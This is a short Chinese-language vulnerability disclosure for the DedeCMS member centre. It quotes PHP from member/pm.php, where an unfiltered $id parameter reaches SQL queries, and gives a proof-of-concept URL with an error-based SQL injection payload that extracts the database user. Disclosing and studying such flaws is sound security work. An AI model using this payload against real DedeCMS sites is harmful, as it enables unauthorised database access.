Dedecms 会员中心注入漏洞5

漏洞作者： Matt

[php]

member/pm.php else if($dopost=='read') {     $sql = "SELECT * FROM `#@__member_friends` WHERE  mid='{$cfg_ml->M_ID}' AND ftype!='-1'  ORDER BY addtime DESC LIMIT 20";     $friends = array();     $dsql->SetQuery($sql);     $dsql->Execute();     while ($row = $dsql->GetArray()) {         $friends[] = $row;     }     $row = $dsql->GetOne("SELECT * FROM `#@__member_pms` WHERE id='$id' AND (fromid='{$cfg_ml->M_ID}' OR toid='{$cfg_ml->M_ID}')");//ID没过滤     if(!is_array($row))     {         ShowMsg('对不起，你指定的消息不存在或你没权限查看！','-1');         exit();     }     $dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE id='$id' AND folder='inbox' AND toid='{$cfg_ml->M_ID}'");     $dsql->ExecuteNoneQuery("UPDATE `#@__member_pms` SET hasview=1 WHERE folder='outbox' AND toid='{$cfg_ml->M_ID}'");     include_once(dirname(__FILE__).'/templets/pm-read.htm');     exit(); }

[/php]

漏洞证明：

测试方法http://127.0.0.1/dede/member/pm.php?dopost=read&id=1' and @`'` and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1